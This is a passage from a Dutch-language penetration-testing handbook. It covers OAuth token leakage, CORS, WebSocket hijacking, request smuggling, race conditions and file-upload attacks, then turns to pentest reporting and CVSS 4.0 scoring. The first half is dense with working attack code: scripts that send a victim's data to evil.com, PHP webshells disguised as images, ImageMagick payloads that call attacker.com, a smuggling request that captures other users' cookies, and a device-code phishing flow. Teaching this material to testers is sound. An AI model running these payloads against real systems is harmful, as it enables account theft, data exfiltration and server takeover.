OAuth tokens lekken op verrassend veel manieren via de browser. De Referer header stuurt de callback URL (met code of token) mee naar externe resources. Browser history slaat de URL op. En open redirect chaining kan de authorization code doorsturen naar een aanvaller.

# Open redirect chaining
# Stap 1: Vind een open redirect: https://app.com/redirect?url=https://evil.com
# Stap 2: Gebruik als redirect_uri:
/authorize?redirect_uri=https://app.com/redirect?url=https://evil.com
# De code wordt doorgestuurd naar evil.com

# PostMessage leakage
# Als de callback-pagina postMessage gebruikt met targetOrigin "*":
window.parent.postMessage({token: access_token}, "*")
# Elk domein kan het token ontvangen als het de pagina in een iframe laadt

Device Authorization Flow misbruik

De Device Flow is bedoeld voor apparaten zonder browser. Een aanvaller kan een device code genereren, het slachtoffer overtuigen om die te autoriseren via phishing, en vervolgens het access token ophalen.

# Stap 1: Start device authorization
curl -X POST https://auth.target.com/device/code -d "client_id=tv-app&scope=profile"
# Response: {"device_code":"xxx","user_code":"ABCD-1234","verification_uri":"https://auth.target.com/device"}

# Stap 2: Phishing: "Verifieer je apparaat op https://auth.target.com/device met code ABCD-1234"

# Stap 3: Poll voor het token (elke 5 seconden)
while true; do
  resp=$(curl -s -X POST https://auth.target.com/token \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=xxx&client_id=tv-app")
  echo "$resp" | grep -q "access_token" && break
  sleep 5
done

Bonus: SAML-aanvallen

SAML is XML-based SSO voor enterprise-omgevingen. Aanvalsvectoren: Signature Wrapping (manipuleer XML-structuur om een andere assertion in te sluizen), SAML Replay (onderschepte response opnieuw sturen), XXE via de XML-parser, en assertion manipulation. Tools: SAMLRaider (Burp), saml-decoder.

CORS, WebSockets, Request Smuggling en Business Logic

CORS, WebSockets, Request Smuggling en Business Logic

CORS: het vertrouwensprobleem van de browser

Ergens in de late jaren negentig, toen het web nog jong was en iedereen nog dacht dat de browser een veilige omgeving was — wat achteraf gezien hetzelfde niveau van naiviteit vertegenwoordigt als geloven dat een hangslot voldoende is om een fietsenrek in Amsterdam te beveiligen — bedachten browserleveranciers het Same-Origin Policy. Het idee was simpel: JavaScript op domein A mag geen requests maken naar domein B. Veilig. Logisch. En vrijwel onmiddellijk een probleem zodra iemand een mashup wilde bouwen.

CORS — Cross-Origin Resource Sharing — was de oplossing. Het stelt servers in staat om expliciet aan te geven welke andere domeinen requests mogen maken. De server stuurt een Access-Control-Allow-Origin header mee, en de browser beslist op basis daarvan of het JavaScript de response mag lezen.

Het probleem is niet het concept. Het probleem is de implementatie. Want ontwikkelaars zijn creatieve wezens, en wanneer CORS hun API-calls blokkeert, zoeken ze de snelste oplossing — die vrijwel altijd de onveiligste is.

CORS testen

# Stap 1: Stuur een request met een vreemde Origin
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user

# Controleer de response headers:
# GEVAARLIJK:
# Access-Control-Allow-Origin: https://evil.com   (reflecteert de input!)
# Access-Control-Allow-Credentials: true           (cookies worden meegestuurd!)

# Stap 2: Test variaties
curl -s -I -H "Origin: null" https://target.com/api/user
curl -s -I -H "Origin: https://target.com.evil.com" https://target.com/api/user
curl -s -I -H "Origin: https://evil-target.com" https://target.com/api/user
curl -s -I -H "Origin: https://subdomain.target.com" https://target.com/api/user

# Stap 3: Check wildcard
# Als Access-Control-Allow-Origin: * EN Allow-Credentials: true
# Dan is er een fundamenteel probleem (browsers blokkeren dit overigens)

CORS exploitatie

Als de server de Origin header reflecteert én credentials toestaat, kun je data stelen vanuit de browser van het slachtoffer:

// Plaats dit op evil.com
// Als het slachtoffer evil.com bezoekt terwijl het is ingelogd op target.com:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4) {
    // Stuur de gestolen data naar de aanvaller
    var exfil = new XMLHttpRequest();
    exfil.open('POST', 'https://evil.com/collect');
    exfil.send(xhr.responseText);
  }
};
xhr.open('GET', 'https://target.com/api/user/profile');
xhr.withCredentials = true;  // Stuur cookies mee
xhr.send();

Het resultaat: de aanvaller leest het profiel van het slachtoffer, inclusief naam, email, en alles wat de API teruggeeft. Dit is effectief een stored XSS die niet op het doelwit zelf draait maar dezelfde impact heeft.

Veelvoorkomende CORS-misconfiguraties

PatroonRisico
Origin reflectie (echo back)Hoog: elk domein kan data lezen
null origin toegestaanHoog: sandboxed iframes sturen null
Regex bypass (target.com matcht evil-target.com)Hoog: subdomain-like domeinen
Wildcard (*) zonder credentialsLaag: geen cookies, maar publieke data lekt
Pre-flight cache te langMedium: configuratiewijzigingen duren lang

WebSocket Security

WebSockets zijn de achterdeur van het web. Terwijl HTTP request-response communicatie is — je vraagt, de server antwoordt, de verbinding sluit — zijn WebSockets een permanent open kanaal. De browser en de server praten continu met elkaar, in beide richtingen. Het is als het verschil tussen briefpost (HTTP) en een telefoongesprek (WebSocket).

En net als bij een telefoongesprek: als iemand de lijn kan aftappen, hoort hij alles.

WebSocket handshake

Een WebSocket-verbinding begint als een gewoon HTTP-request — de “upgrade” handshake:

GET /ws HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Cookie: session=abc123...

Na de handshake is de verbinding open. Berichten gaan heen en weer in frames, niet in HTTP-requests. Burp Suite kan WebSocket-verkeer onderscheppen en wijzigen, maar het vereist een andere aanpak dan bij HTTP.

Cross-Site WebSocket Hijacking (CSWSH)

Dit is de CSRF-variant voor WebSockets. De handshake is een HTTP-request, en HTTP-requests sturen automatisch cookies mee. Als er geen extra validatie plaatsvindt (geen Origin-check, geen CSRF-token), kan een aanvaller een WebSocket-verbinding openen namens het slachtoffer:

// Op evil.com: open een WebSocket naar target.com
// De browser stuurt automatisch de session cookie mee
var ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
  // Stuur commando's alsof je het slachtoffer bent
  ws.send(JSON.stringify({action: 'get_messages'}));
};

ws.onmessage = function(event) {
  // Vang de response op
  fetch('https://evil.com/collect', {
    method: 'POST',
    body: event.data
  });
};

WebSocket Injection

Berichten die via WebSockets binnenkomen worden door de server verwerkt. Dezelfde injection-kwetsbaarheden die bij HTTP bestaan, bestaan bij WebSockets:

# wscat: command line WebSocket client
wscat -c wss://target.com/ws -H "Cookie: session=TOKEN"

# SQLi via WebSocket
> {"action": "search", "query": "test' OR 1=1--"}

# XSS via WebSocket (als berichten aan andere gebruikers worden getoond)
> {"action": "send_message", "text": "Afbeelding"}

# Command Injection
> {"action": "ping", "host": "127.0.0.1; cat /etc/passwd"}

HTTP Request Smuggling

Request smuggling is een van de elegantste aanvallen in web security. Het exploiteert het feit dat een frontend (reverse proxy, CDN, load balancer) en een backend (applicatieserver) het soms oneens zijn over waar het ene HTTP-request eindigt en het volgende begint.

Stelt je een rij voor bij de douane. De douanier (frontend) controleert paspoorten en stuurt mensen door naar de balie (backend). Maar stel dat iemand twee mensen achter één paspoort verstopt. De douanier ziet één persoon; de balie ziet twee. De tweede persoon glipt zonder controle door.

Hoe het werkt

HTTP/1.1 heeft twee manieren om de lengte van een request body aan te geven: Content-Length en Transfer-Encoding: chunked. Als een request beide headers bevat, en de frontend de ene gebruikt terwijl de backend de andere gebruikt, dan interpreteren ze het request anders. Het restant van het eerste request wordt het begin van het volgende request — het gesmokkelde verzoek.

CL.TE (Content-Length / Transfer-Encoding)

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0\r\n
\r\n
SMUGGLED

# Frontend leest Content-Length: 13 bytes (inclusief "0\r\n\r\nSMUGGLED")
# Backend leest Transfer-Encoding: "0\r\n" = einde
# "SMUGGLED" wordt het begin van het volgende request

TE.CL (Transfer-Encoding / Content-Length)

POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8\r\n
SMUGGLED\r\n
0\r\n
\r\n

# Frontend leest Transfer-Encoding: alle chunks tot "0"
# Backend leest Content-Length: 3 bytes ("8\r\n")
# De rest ("SMUGGLED...") wordt het volgende request

Detectie

# Burp Suite: HTTP Request Smuggler extensie (James Kettle)
# Detecteert automatisch CL.TE, TE.CL en TE.TE varianten

# smuggler.py
python3 smuggler.py -u https://target.com

# Handmatige detectie: timing-based
# Stuur een CL.TE payload; als de backend langer dan normaal wacht
# op het "volgende request", is smuggling mogelijk

Exploitatie: wat kun je ermee?

Race Conditions

Een race condition treedt op wanneer het resultaat van een operatie afhangt van de timing van events, en die timing niet correct wordt gecontroleerd. In webapplicaties betekent dit: stuur hetzelfde request tientallen keren tegelijk, en kijk of de server ze allemaal onafhankelijk verwerkt terwijl hij dat niet zou moeten doen.

Veelvoorkomende doelen

# Coupon code meerdere keren inwisselen
for i in $(seq 1 50); do
  curl -s -X POST https://target.com/api/redeem \
    -H "Cookie: session=TOKEN" \
    -d "code=KORTING50" &
done
wait

# Geld overmaken (double-spend)
# Stuur 50 gelijktijdige verzoeken om EUR 100 over te maken
# Als de balanscheck niet atomic is, kan het saldo negatief worden

# Cadeaukaart activeren
# Activeer dezelfde kaart tegelijk op twee accounts

# Like/vote meerdere keren tellen
# Rate limit bypass via race condition

Turbo Intruder (Burp extensie)

Turbo Intruder kan requests bundelen in een “single-packet attack” — meerdere HTTP-requests in één TCP-pakket. Dit minimaliseert de tijdsverschil tussen de requests tot vrijwel nul.

# Turbo Intruder script
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1)
    for i in range(50):
        engine.queue(target.req, gate='race')
    engine.openGate('race')  # Alle 50 tegelijk!

def handleResponse(req, interesting):
    table.add(req)

File Upload kwetsbaarheden

File upload-functionaliteit is een mijnenveld. Elke bestandsupload is potentieel een webshell, een XSS-vector, of een denial-of-service. De verdediging bestaat uit lagen: extensie-filtering, MIME-type validatie, magic byte controle, antivirusscan, en opslag buiten de webroot. Als één laag faalt, ben je afhankelijk van de volgende.

Bypass technieken

# Extensie bypass
shell.php.jpg          # Dubbele extensie
shell.php%00.jpg       # Null byte (oudere servers)
shell.pHp              # Case variatie
shell.php5             # Alternatieve extensie
shell.phtml            # Apache variant
shell.phar             # PHP archive
shell.php::$DATA       # Windows NTFS alternate data stream

# Content-Type bypass
# Upload een PHP file maar wijzig Content-Type naar image/jpeg in Burp

# Magic byte bypass
# Voeg geldige afbeelding-magic bytes toe aan het begin van een PHP file
GIF89a;                # GIF magic bytes
<?php system($_GET['cmd']); ?>

# SVG met JavaScript (stored XSS)
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

# .htaccess upload (Apache)
AddType application/x-httpd-php .jpg
# Nu worden .jpg bestanden als PHP uitgevoerd

# Polyglot: bestand dat zowel een geldige JPEG als geldige PHP is
# exiftool kan PHP code in EXIF-metadata injecteren
exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg
mv photo.jpg photo.php.jpg

Waar wordt het bestand opgeslagen?

# Na upload: zoek de URL van het geüploade bestand
# Vaak: /uploads/filename.ext of /media/filename.ext

# Test of je het bestand kunt uitvoeren
curl https://target.com/uploads/shell.php?cmd=id

# Als de upload-directory buiten de webroot is:
# Zoek naar path traversal in de bestandsnaam
# Filename: ../../../var/www/html/shell.php

Business Logic Flaws

Business logic flaws zijn de kwetsbaarheden die geen scanner kan vinden. Ze zijn niet technisch — de code werkt precies zoals geschreven. Het probleem is dat de bedrijfslogica omzeild kan worden op manieren die de ontwikkelaar niet heeft voorzien.

Het is het verschil tussen een slot dat gekraakt kan worden (technische kwetsbaarheid) en een deur die open staat omdat niemand bedacht had dat iemand via het raam zou binnenkomen (logische kwetsbaarheid).

Veelvoorkomende patronen

PatroonVoorbeeldTest
Negatieve waardenBestel -1 item = crediteringStuur negatieve aantallen/bedragen
Stappen overslaanGa direct naar /checkout/confirmSkip stappen in multi-step processen
Parameter manipulatieWijzig prijs in verborgen form fieldWijzig prijs/korting in POST body
Coupon stackingMeerdere kortingscodes combinerenStuur meerdere coupon codes
Privilege via omwegVerander je role in een profiel-updateVoeg role/admin velden toe aan updates
TijdmanipulatieVerander trial-einddatumManipuleer datumvelden
Referral misbruikVerwijs jezelf met meerdere accountsTest referral systeem met eigen codes
# Voorbeeld: webshop prijs manipulatie
# Origineel request
POST /api/cart/add
{"product_id": 42, "quantity": 1, "price": 99.99}

# Manipulatie: prijs wijzigen
POST /api/cart/add
{"product_id": 42, "quantity": 1, "price": 0.01}

# Manipulatie: negatieve hoeveelheid
POST /api/cart/add
{"product_id": 42, "quantity": -10, "price": 99.99}

# Voorbeeld: checkout stappen overslaan
# Normaal: /cart → /shipping → /payment → /confirm
# Test: ga direct naar /confirm met een POST request
# Test: ga naar /payment en wijzig het totaalbedrag

Business logic testing vereist dat je begrijpt hoe de applicatie hoort te werken. Lees de documentatie. Gebruik de applicatie als een normale gebruiker. En stel jezelf dan de vraag: “Wat als ik dit stapje oversla? Wat als ik die waarde wijzig? Wat als ik dit twee keer doe?” Het is geen technisch hacking — het is creatief nadenken over hoe systemen falen wanneer mensen dingen doen die niet in het script staan.

Geavanceerde Request Smuggling

TE.TE: Transfer-Encoding obfuscation

Sommige servers verwerken Transfer-Encoding correct, maar zijn het niet eens over welke spelling ze accepteren. Door de Transfer-Encoding header te obfusceren, kun je een situatie creëren waarbij de frontend de ene variant accepteert en de backend de andere negeert.

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-encoding: identity

0

SMUGGLED REQUEST
# Variaties die soms werken:
# Transfer-Encoding : chunked     (spatie voor de colon)
# Transfer-Encoding: chunked\r\n  (extra line ending)
# Transfer-Encoding: \tchunked    (tab)
# Transfer-Encoding: x\nTransfer-Encoding: chunked (twee headers)
# X-Transfer-Encoding: chunked    (custom header die sommige proxies overnemen)

Request Smuggling: Credential Capture

De krachtigste exploitatie van request smuggling is het onderscheppen van requests van andere gebruikers:

# CL.TE smuggled request dat het volgende request van een ander opslaat
POST / HTTP/1.1
Host: target.com
Content-Length: 200
Transfer-Encoding: chunked

0

POST /api/save-note HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 500

note=

Het gesmokkelde request is een “save note” actie met een Content-Length die groter is dan de eigenlijke body. De server wacht op meer data en plakt het volgende request eraan vast — inclusief de cookies en headers van een andere gebruiker. Die worden opgeslagen als “notitie” die je later kunt uitlezen.

Geavanceerde Race Conditions

Single-packet attack

De meest effectieve race condition-aanval stuurt alle requests tegelijk in een enkel TCP-pakket. Dit elimineert netwerkjitter als variabele — alle requests arriveren op exact hetzelfde moment.

# Turbo Intruder (Burp extensie) configuratie
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=50,
        pipeline=False
    )

    # Queue 50 identieke requests
    for i in range(50):
        engine.queue(target.req, gate='race')

    # Open de gate: alle 50 requests tegelijk
    engine.openGate('race')

def handleResponse(req, interesting):
    if req.status == 200:
        table.add(req)

Time-of-check to time-of-use (TOCTOU)

# Scenario: coupon code die maar 1x gebruikt mag worden
# De applicatie doet:
# 1. CHECK: is coupon al gebruikt? (SELECT)
# 2. USE: markeer als gebruikt (UPDATE)
# 3. APPLY: pas korting toe

# Tussen stap 1 en 2 zit een tijdvenster
# Als je 50 requests tegelijk stuurt, passeren ze allemaal stap 1
# voordat stap 2 de eerste heeft verwerkt

# Detectie: vergelijk het aantal succesvolle responses
# 1 request = 1 korting (correct)
# 50 gelijktijdige requests = 50x korting (race condition!)

Geavanceerde File Upload Exploitatie

Image Tragick (ImageMagick RCE)

# Als de server ImageMagick gebruikt voor image processing:
# CVE-2016-3714 en varianten

# payload.svg:
<image xlink:href="https://attacker.com/x.png||id > /tmp/rce.txt" />

# payload.mvg (ImageMagick):
push graphic-context
viewbox 0 0 640 480
fill 'url(https://attacker.com/"|id > /tmp/rce.txt")'
pop graphic-context

# Upload als afbeelding en controleer of het commando is uitgevoerd

ZIP Slip (path traversal via archieven)

# Maak een ZIP met een pad-traversal bestandsnaam
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr('../../../var/www/html/shell.php', '')
"

# Upload de ZIP naar een functie die bestanden uitpakt
# Als de server de bestandsnamen niet sanitiseert:
# shell.php wordt geschreven naar /var/www/html/

Polyglot bestanden

# Een bestand dat zowel een geldige JPEG als geldige PHP is
# De JPEG-magic bytes zorgen dat het de content-type check passeert
# De PHP-code wordt uitgevoerd als de server het als PHP interpreteert

# Methode 1: EXIF comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legitimate.jpg
cp legitimate.jpg shell.php.jpg

# Methode 2: Handmatig
printf '\xff\xd8\xff\xe0' > polyglot.php.jpg  # JPEG SOI marker
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.jpg

# Methode 3: GIF89a
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif.php

Rapportage

Rapportage

Charles Darwin keerde in 1836 terug van zijn vijfjarige reis met de HMS Beagle. Hij had twintig notitieboeken vol observaties, honderden specimens, en een hoofd boordevol inzichten die de wetenschap voorgoed zouden veranderen. Maar eerst moest hij gaan zitten en het allemaal opschrijven. Het kostte hem meer dan twintig jaar om On the Origin of Species te publiceren. Niet omdat hij twijfelde aan zijn theorie, maar omdat hij wist dat de manier waarop hij het vertelde net zo belangrijk was als wat hij vertelde. Als niemand het begreep, had het geen zin.

Een penetratietest is, in zekere zin, net zo’n expeditie. Je trekt weken of maanden door onbekend digitaal terrein. Je vindt dingen die niemand eerder heeft gezien. Je maakt aantekeningen, verzamelt bewijsmateriaal, en bouwt langzaam een beeld op van hoe het systeem er werkelijk uitziet – niet zoals het in de architectuurtekeningen staat, maar zoals het echt is, met al zijn scheuren en lekkages. En dan moet je het opschrijven. Voor mensen die er niet bij waren. Voor mensen die misschien niet eens begrijpen wat een SQL injection is.

Dat is het moment waarop de echte uitdaging begint.

Waarom rapportage ertoe doet

Laten we eerlijk zijn: de meeste pentesters zijn niet in dit vak gestapt omdat ze dol zijn op schrijven. Ze zijn erin gestapt omdat ze dol zijn op breken. Op puzzels oplossen. Op dat moment waarop je na uren proberen eindelijk die shell krijgt en even heel stil wordt, gevolgd door een onderdrukt “yes” dat door een stille werkkamer galmt.

Maar hier is het ongemakkelijke feit: je rapport is het enige wat overblijft. Als je vertrokken bent, als je laptop is opgeruimd en je VPN-verbinding is verbroken, is dat rapport het enige bewijs dat je er bent geweest. Het is tegelijkertijd je visitekaartje, je factuur, en je nalatenschap.

En toch – en hier begint het pijn te doen – behandelen de meeste pentesters hun rapport alsof het een verplicht bijproduct is. Een vervelend formulier dat moet worden ingevuld voordat je aan de volgende klus kunt beginnen. Ze schrijven het in de laatste twee uur van het project, met een kop koude koffie en een vage herinnering aan wat ze drie weken geleden gevonden hebben.

Het resultaat? Rapporten die lezen alsof ze zijn geschreven door iemand die liever ergens anders was. Wat ook zo is.

De pentester als vertaler

Hier is iets wat niemand je vertelt op je OSCP-cursus: de belangrijkste vaardigheid van een pentester is niet technisch. Het is vertalen. Je bent een vertaler tussen twee werelden die elkaars taal niet spreken.

Aan de ene kant heb je de technische realiteit: CVE-nummers, CVSS vectors, stack traces, en hex dumps. Aan de andere kant heb je het management: mensen die beslissingen nemen over budgetten, prioriteiten, en risico’s, maar die niet weten wat een buffer overflow is en dat ook niet hoeven te weten.

Jouw rapport moet beide werelden bedienen. Het moet technisch genoeg zijn voor de developers om het probleem te vinden en te fixen. En het moet begrijpelijk genoeg zijn voor het management om te beslissen hoeveel geld en tijd ze eraan willen besteden.

Dat is geen gemakkelijke evenwichtsoefening. Het is eigenlijk twee rapporten schrijven in een. En de meeste pentesters kunnen precies een van de twee.

Je kunt de hele dag hacken, maar als je rapport waardeloos is, dan is het alsof je de mooiste foto ter wereld hebt gemaakt met de lensdop erop. Het bewijs bestaat, ergens in je hoofd, maar niemand anders zal het ooit zien. En als niemand het ziet, word het ook niet gefixt. En als het niet gefixt wordt, wat was dan het hele punt?

Precies.

IB Findings Management

Incompetent Bastard heeft een volledig findings management systeem ingebouwd. Niet omdat het leuk was om te bouwen, maar omdat het alternatief – bevindingen bijhouden in een spreadsheet, of erger nog, in je hoofd – het soort professionele nalatigheid is waarvoor dit boek is vernoemd.

De findings management blueprint (findings_bp) in IB is het centrale zenuwstelsel van je rapportage. Hier komen alle bevindingen samen, krijgen ze structuur, worden ze geclassificeerd, en worden ze uiteindelijk omgezet in een rapport.

Het findings overzicht

Navigeer naar /dashboard/findings en je ziet het overzicht. Bovenaan staan vier kaarten met statistieken: het totaal aantal findings, het aantal templates, het aantal scoped items, en een knop om het rapport te genereren. Simpel, overzichtelijk, en precies wat je nodig hebt.

/dashboard/findings

Het scherm is opgedeeld in twee kolommen. Links: de beschikbare templates waarmee je nieuwe findings kunt aanmaken. Rechts: de findings die je al hebt vastgelegd, met hun ID, naam, host, en acties om te bewerken of te verwijderen.

Finding aanmaken: de formuliervelden

Elke finding in IB wordt vastgelegd met een formulier dat precies de juiste balans vindt tussen volledigheid en bruikbaarheid. Laten we de velden doorlopen:

Naam (naam): De titel van je finding. Dit is wat in het rapport verschijnt als kop. Maak het beschrijvend maar beknopt. “SQL Injection in login form” is goed. “Bug gevonden” is dat niet.

Host (locatie): Het IP-adres of de hostname waar de kwetsbaarheid is gevonden. Dit is cruciaal voor scoping – je wilt weten welke systemen geraakt zijn.

CVSS 4.0 Vector (cvss): De CVSS 4.0 vector string die de ernst van de kwetsbaarheid beschrijft. Hierover later meer.

CVSS Basescore (basescore): De numerieke score die uit de vector wordt berekend. IB’s ingebouwde calculator vult dit automatisch in.

User flag (gebruikersvlag): Voor CTF-achtige engagements of als bewijs dat je user-level access hebt bereikt.

Root flag (rootvlag): Idem, maar dan voor root/admin-level access. Het bewijs dat je helemaal bovenaan de berg stond.

Hoe kwam de bevinding tot stand? (invoegen): Hier beschrijf je de aanvalsketen. Hoe ben je van punt A naar punt B gekomen? Welke stappen heb je genomen? Dit is het narratief van je aanval.

Werk de bevinding uit (uitwerken): Het veld voor je gedetailleerde technische uitwerking. Dit is waar je LaTeX-opmaak kunt gebruiken voor het rapport. IB biedt een toolbar met LaTeX-shortcuts boven dit veld.

Het formulier is bewust compact gehouden. Geen vijftig velden waarvan je er dertig nooit invult. Geen verplichte dropdown-menu’s voor zaken die je niet weet. Gewoon de essentie.

IB Tip: Het uitwerken-veld ondersteunt LaTeX-opmaak. Gebruik de toolbar boven het veld voor veelgebruikte commando’s zoals \begin{lstlisting} voor codeblokken en \plaatje{bestandsnaam}{caption} voor screenshots.

De workflow: van template naar finding

De workflow in IB werkt als volgt:

  1. Je selecteert een template uit de lijst links op het findings-overzicht
  2. Je klikt op “Add” naast de template
  3. Het formulier opent, met de template-referentie al ingevuld
  4. Je vult de specifieke details in: naam, host, evidence, flags
  5. Je slaat op en de finding verschijnt in het overzicht rechts

Dit template-systeem is de kern van efficiënte rapportage. In plaats van elke finding helemaal from scratch te beschrijven – de beschrijving, de impact, de aanbeveling – gebruik je een template die al het generieke werk bevat. Jij voegt alleen de specifieke context toe: waar vond je het, hoe vond je het, en wat is het bewijs.

# De route voor het toevoegen van een finding op basis van een template
@findings_bp.route('/dashboard/findings/add/<bevinding_id>', methods=['GET', 'POST'])
def bevinding_toevoegen(bevinding_id):
    form = BevindingForm(ref=bevinding_id)
    # ...

Het ref-veld koppelt je finding aan de template. Wanneer het rapport wordt gegenereerd, haalt IB de beschrijving, impact, aanbeveling, en referenties uit de template, en combineert die met jouw specifieke uitwerking.

Standaard finding templates

IB wordt geleverd met een set standaard finding templates. Deze worden geladen vanuit standard_findings.json en bevatten veertien veelvoorkomende kwetsbaarheidscategorieen:

# Template OWASP CWE
1 OS Command Injection A03 - Injection CWE-78
2 Cross-Site Scripting (XSS)
3 XML External Entity (XXE)
4 SQL Injection (SQLi)
5 Path Traversal
6 Server-Side Template Injection (SSTI)
7 CORS Misconfiguration
8 Server-Side Request Forgery (SSRF)
9 Insecure Direct Object References (IDOR)
10 Security Headers
11 Vulnerable and Outdated Components
12 Broken Access Control
13 Cryptographic Failures
14 Insecure Design

Elke template bevat:

Dit zijn niet zomaar skeletjes. De templates bevatten complete, professioneel geschreven beschrijvingen met gestructureerde aanbevelingen in LaTeX-formaat. Neem bijvoorbeeld de OS Command Injection template: die bevat niet alleen een uitleg van wat command injection is, maar ook concrete aanbevelingen voor inputvalidatie, parameterized API’s, het least privilege principle, en meer.

IB Tip: Gebruik de “Laad standaard bevindingen” knop op het findings-overzicht om alle 227 standaard templates te laden vanuit het hacksec-patched project. Let op: dit overschrijft bestaande templates.

Het template datamodel

Onder de motorkap slaat IB templates op in de db_bevindingen_templates tabel:

class db_bevindingen_templates(db.Model):
    __tablename__ = 'db_bevindingen_templates'
    id = db.Column(db.Integer, primary_key=True)
    titel = db.Column(db.String(255))
    bevtype = db.Column(db.String(255))
    cwe = db.Column(db.String(5))
    owasp = db.Column(db.String(255))
    mitre = db.Column(db.String(10))
    cvss = db.Column(db.String(255))
    basescore = db.Column(db.String(10))
    nlbeschrijving = db.Column(db.Text())    # Nederlandse beschrijving
    enbeschrijving = db.Column(db.Text())    # Engelse beschrijving
    nlimpact = db.Column(db.Text())          # Impact (NL)
    enimpact = db.Column(db.Text())          # Impact (EN)
    nlaanbeveling = db.Column(db.Text())     # Aanbeveling (NL)
    enaanbeveling = db.Column(db.Text())     # Aanbeveling (EN)
    referenties = db.Column(db.Text())       # Referentielinks

Merk op dat de templates tweetalig zijn. Elk template heeft velden voor zowel Nederlands als Engels. Het rapport wordt momenteel in het Nederlands gegenereerd, maar de structuur is er al voor meertalige ondersteuning.

OWASP classificatie

Elke finding in IB kan worden geclassificeerd volgens de OWASP Top 10 (2021 editie):

Code Categorie
A1 Broken Access Control
A2 Cryptographic Failures
A3 Injection
A4 Insecure Design
A5 Security Misconfiguration
A6 Vulnerable and Outdated Components
A7 Identification and Authentication Failures
A8 Software and Data Integrity Failures
A9 Security Logging and Monitoring Failures
A10 Server Side Request Forgery

De OWASP classificatie wordt opgeslagen als een nummer (1-10) in de template en vertaald via een template filter naar de volledige beschrijving:

owasptop10 = [
    'A1 - Broken Access Control',
    'A2 - Crypthographic Failures',
    'A3 - Injection',
    # ... enzovoort
]

@app.template_filter('owaspcategorie')
def owaspcategorie(num):
    if num:
        return owasptop10[int(num)-1]
    else:
        return 'A5 - Security Misconfiguration'

Dit is een elegant mechanisme. De template slaat alleen het nummer op, maar overal in de interface en het rapport verschijnt de volledige categorie met code.

Overigens: als je geen OWASP classificatie opgeeft, defaultt IB naar A5 – Security Misconfiguration. Dat is een aardige filosofische keuze. Als je niet eens de moeite neemt om een kwetsbaarheid te classificeren, dan is het per definitie een configuratie- probleem. Van jouw kant.

Status tracking

Het finding-model in IB is bewust minimalistisch gehouden. Er is geen apart status- veld in de database – de status van een finding wordt impliciet bepaald door het bestaan ervan. Een finding is “open” zodra die is aangemaakt, en “verwijderd” zodra je op delete klikt. Voor de tussenliggende statussen (verified, fixed, accepted) kun je de naam of het uitwerkveld gebruiken.

Dit is een bewuste keuze. In een pentest-tool die bedoeld is voor de tester zelf is een complex status-systeem overkill. Je bent geen Jira aan het bouwen. Je bent een rapport aan het schrijven.

Wil je toch statussen bijhouden, dan kan dat via de export/import functionaliteit. Bij export naar JSON wordt elk finding object voorzien van een status-veld:

{
    "title": "SQL Injection in login form",
    "status": "open",
    "cvss_v4_vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
    "cvss_v4_score": 9.3,
    "standard_code": "4",
    "location": "192.168.1.100"
}

CVSS 4.0 scoring

Als je ooit hebt geprobeerd om de ernst van een kwetsbaarheid uit te leggen aan een manager, dan weet je dat woorden tekort schieten. “Het is erg” is niet overtuigend genoeg. “Het is heel erg” is dat evenmin. Je hebt een getal nodig. Mensen houden van getallen. Getallen zijn objectief, meetbaar, en passen in een spreadsheet.

Dat getal is de CVSS score.

CVSS – het Common Vulnerability Scoring System – is een open raamwerk voor het communiceren van de ernst van softwarekwetsbaarheden. Versie 4.0, uitgebracht door FIRST in 2023, is de nieuwste incarnatie en brengt significante verbeteringen ten opzichte van versie 3.1.

De CVSS 4.0 vector string

Een CVSS 4.0 score wordt uitgedrukt als een vector string. Dit is een compacte textrepresentatie van alle metrics die samen de score bepalen. Hij ziet er zo uit:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Laten we dat ontleden. De vector begint altijd met CVSS:4.0/ als prefix, gevolgd door elf base metrics gescheiden door slashes. Elke metric bestaat uit een afkorting en een waarde, gescheiden door een dubbele punt.

De elf base metrics

CVSS 4.0 definieert elf verplichte base metrics, verdeeld over drie groepen:

Exploitability Metrics – Hoe makkelijk is de aanval?

Metric Naam Waarden Beschrijving
AV Attack Vector N/A/L/P Vanwaar kan de aanval worden uitgevoerd?
AC Attack Complexity L/H Hoe complex is de aanval?
AT Attack Requirements N/P Zijn er voorwaarden nodig?
PR Privileges Required N/L/H Welk toegangsniveau is nodig?
UI User Interaction N/P/A Is gebruikersinteractie nodig?

Vulnerable System Impact – Wat is de impact op het kwetsbare systeem?

Metric Naam Waarden Beschrijving
VC Confidentiality N/L/H Impact op vertrouwelijkheid
VI Integrity N/L/H Impact op integriteit
VA Availability N/L/H Impact op beschikbaarheid

Subsequent System Impact – Wat is de impact op andere systemen?

Metric Naam Waarden Beschrijving
SC Confidentiality N/L/H Impact op vertrouwelijkheid van andere systemen
SI Integrity N/L/H Impact op integriteit van andere systemen
SA Availability N/L/H Impact op beschikbaarheid van andere systemen

